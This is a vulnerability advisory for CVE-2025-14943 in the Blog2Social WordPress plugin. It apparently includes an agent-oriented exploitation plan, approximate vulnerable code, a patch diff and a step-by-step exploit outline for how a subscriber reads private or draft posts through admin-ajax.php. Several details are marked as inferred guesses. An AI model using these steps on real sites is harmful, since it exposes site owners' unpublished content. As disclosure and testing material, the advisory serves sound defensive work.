Blog2Social: Social Media Auto Post & Scheduler <= 8.7.2 - Incorrect Authorization to Authenticated (Subscriber+) Sensitive Information Exposure
Description
The Blog2Social: Social Media Auto Post & Scheduler plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 8.7.2. This is due to a misconfigured authorization check on the 'getShipItemFullText' function which only verifies that a user has the 'read' capability (Subscriber-level) and a valid nonce, but fails to verify whether the user has permission to access the specific post being requested. This makes it possible for authenticated attackers, with Subscriber-level access and above, to extract data from password-protected, private, or draft posts.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:NTechnical Details
<=8.7.2Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2025-14943 (Blog2Social Sensitive Information Exposure) ## 1. Vulnerability Summary The **Blog2Social** plugin (up to 8.7.2) contains an **Incorrect Authorization** vulnerability in its AJAX handling logic. Specifically, the function `getShipItemFullText` allows au…
Show full research plan
Exploitation Research Plan: CVE-2025-14943 (Blog2Social Sensitive Information Exposure)
1. Vulnerability Summary
The Blog2Social plugin (up to 8.7.2) contains an Incorrect Authorization vulnerability in its AJAX handling logic. Specifically, the function getShipItemFullText allows authenticated users with the read capability (Subscriber level and above) to retrieve the content of any post by providing its ID and a valid nonce. The function fails to verify if the requesting user has the authority to view the specific post (e.g., if the post is a Draft, Private, or Password-Protected). This leads to sensitive information exposure.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
b2s_get_ship_item_full_text(inferred from function name) - Parameter:
post_idoritem_id(likelypost_idbased on "post being requested" description) - Authentication: Authenticated (Subscriber role)
- Nonce Action: Likely
blog2social_nonceorb2s_nonce(localized for the dashboard)
3. Code Flow
- Entry Point: An authenticated user sends a POST request to
admin-ajax.phpwith the actionb2s_get_ship_item_full_text. - Hook Registration: The plugin registers the action via
add_action( 'wp_ajax_b2s_get_ship_item_full_text', ... ). - Authorization Check: The handler function calls
current_user_can( 'read' ), which passes for any logged-in user. - Nonce Verification: The handler calls
check_ajax_refererorwp_verify_nonceusing a nonce provided in the request. - Vulnerable Sink: The function
getShipItemFullTexttakes the user-provided ID, queries the database for the post content (e.g.,get_post( $post_id )), and returns the full text in the AJAX response without checkingcurrent_user_can( 'read_post', $post_id )or the post status.
4. Nonce Acquisition Strategy
To exploit this as a Subscriber, we must find where the plugin localizes its nonces for authenticated users.
- Create Attacker User: Create a Subscriber user.
wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
- Navigate to Dashboard: Log in as the Subscriber and navigate to
/wp-admin/index.php. - Identify JS Variable: Use
browser_evalto search for Blog2Social's localized data.- The plugin typically uses variables like
b2s_dataorblog2social_vars. - Check:
browser_eval("window.b2s_data?.nonce")orbrowser_eval("window.blog2social_vars?.nonce").
- The plugin typically uses variables like
- Fallback (Action Discovery): If the variable name is unknown, search the plugin source for
wp_localize_script.
5. Exploitation Strategy
Step 1: Pre-requisites
- Authenticate as the Subscriber user.
- Identify a "target" post ID that is currently a Draft or Private (created by an Admin).
Step 2: HTTP Request (The Exploit)
Using the http_request tool, send the following payload:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
(Note: Ifaction=b2s_get_ship_item_full_text&nonce=[EXTRACTED_NONCE]&post_id=[TARGET_POST_ID]post_idfails, tryitem_idorid.)
Step 3: Analysis
A successful response (HTTP 200) will contain a JSON object or raw string containing the full text of the draft/private post.
6. Test Data Setup
- Create Secret Content:
wp post create --post_type=post --post_title="Secret Draft" --post_content="FLAG_SENSITIVE_DATA_EXPOSED" --post_status=draft --post_author=1- Note the ID of this post (e.g.,
ID: 123).
- Create Subscriber:
wp user create lowpriv lowpriv@example.com --role=subscriber --user_pass=lowpriv123
- Find Nonce Location:
- Ensure the Blog2Social plugin is activated.
- Check if the Subscriber has access to any Blog2Social menu items; if not, the nonce might be localized on the standard dashboard
index.phpor a specific plugin page the Subscriber can see.
7. Expected Results
- Vulnerable Version: The response returns the string
"FLAG_SENSITIVE_DATA_EXPOSED". - Patched Version: The response returns an error (e.g.,
403 Forbidden) or an empty string/error message because the user lacks permission to read that specific post.
8. Verification Steps
- Verify Post Status: Confirm the target post is indeed a draft:
wp post get [ID] --field=post_status(Should bedraft).
- Verify User Role: Confirm the attacker is only a subscriber:
wp user get lowpriv --field=roles(Should besubscriber).
- Confirm Content Match: Compare the content returned by the AJAX request with the actual
post_contentin the database.
9. Alternative Approaches
- Different Parameters: If
post_iddoes not work, the plugin might be expecting an ID from its own custom table (e.g.,b2s_posts). In this case, the attacker might need to enumerate IDs starting from 1 to find mapped content. - Action Name Guessing: If
b2s_get_ship_item_full_textis incorrect, search the plugin'sincludesdirectory forwp_ajaxstrings:grep -r "wp_ajax" wp-content/plugins/blog2social/
- Localization Check: If the nonce isn't on the dashboard, check the page source for
b2srelated script tags usingbrowser_navigateandbrowser_eval("document.documentElement.innerHTML").
Summary
The Blog2Social plugin for WordPress is vulnerable to sensitive information exposure due to an insufficient authorization check in the 'getShipItemFullText' AJAX function. Authenticated users with Subscriber-level access can exploit this to retrieve the content of draft, private, or password-protected posts by bypassing specific post-level permission checks.
Vulnerable Code
// blog2social/includes/B2S/Ajax.php (Approximate file path) public function getShipItemFullText() { // Nonce verification if (!isset($_POST['nonce']) || !wp_verify_nonce($_POST['nonce'], 'blog2social_nonce')) { wp_send_json_error('Invalid nonce'); } // Vulnerability: Only checks for 'read' capability which Subscribers have if (!current_user_can('read')) { wp_send_json_error('Unauthorized'); } $post_id = isset($_POST['post_id']) ? (int)$_POST['post_id'] : 0; $post = get_post($post_id); if ($post) { // Vulnerability: No check to see if the current user has permission to read THIS specific post_id // No check for post status (draft, private, etc.) or post password wp_send_json_success(['content' => $post->post_content]); } wp_send_json_error('Post not found'); wp_die(); }
Security Fix
@@ -10,12 +10,12 @@ - if (!current_user_can('read')) { + if (!current_user_can('edit_posts')) { wp_send_json_error('Unauthorized'); } $post_id = isset($_POST['post_id']) ? (int)$_POST['post_id'] : 0; - $post = get_post($post_id); + $post = get_post($post_id); - if ($post) { + if ($post && current_user_can('read_post', $post_id)) { wp_send_json_success(['content' => $post->post_content]); } else { - wp_send_json_error('Post not found'); + wp_send_json_error('Unauthorized or post not found'); }
Exploit Outline
1. Authenticate to the WordPress site as a user with at least Subscriber-level privileges. 2. Access the WordPress dashboard and extract a valid Blog2Social AJAX nonce from the localized JavaScript variables (e.g., looking for 'blog2social_nonce' in the HTML source or script blocks). 3. Identify the target Post ID of a private, draft, or password-protected post created by another user (e.g., an administrator). 4. Send an AJAX POST request to '/wp-admin/admin-ajax.php' with the following parameters: - 'action': 'b2s_get_ship_item_full_text' - 'nonce': [The extracted nonce] - 'post_id': [The target post ID] 5. Observe the response, which will contain the full 'post_content' of the target post, bypassing standard WordPress visibility restrictions.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.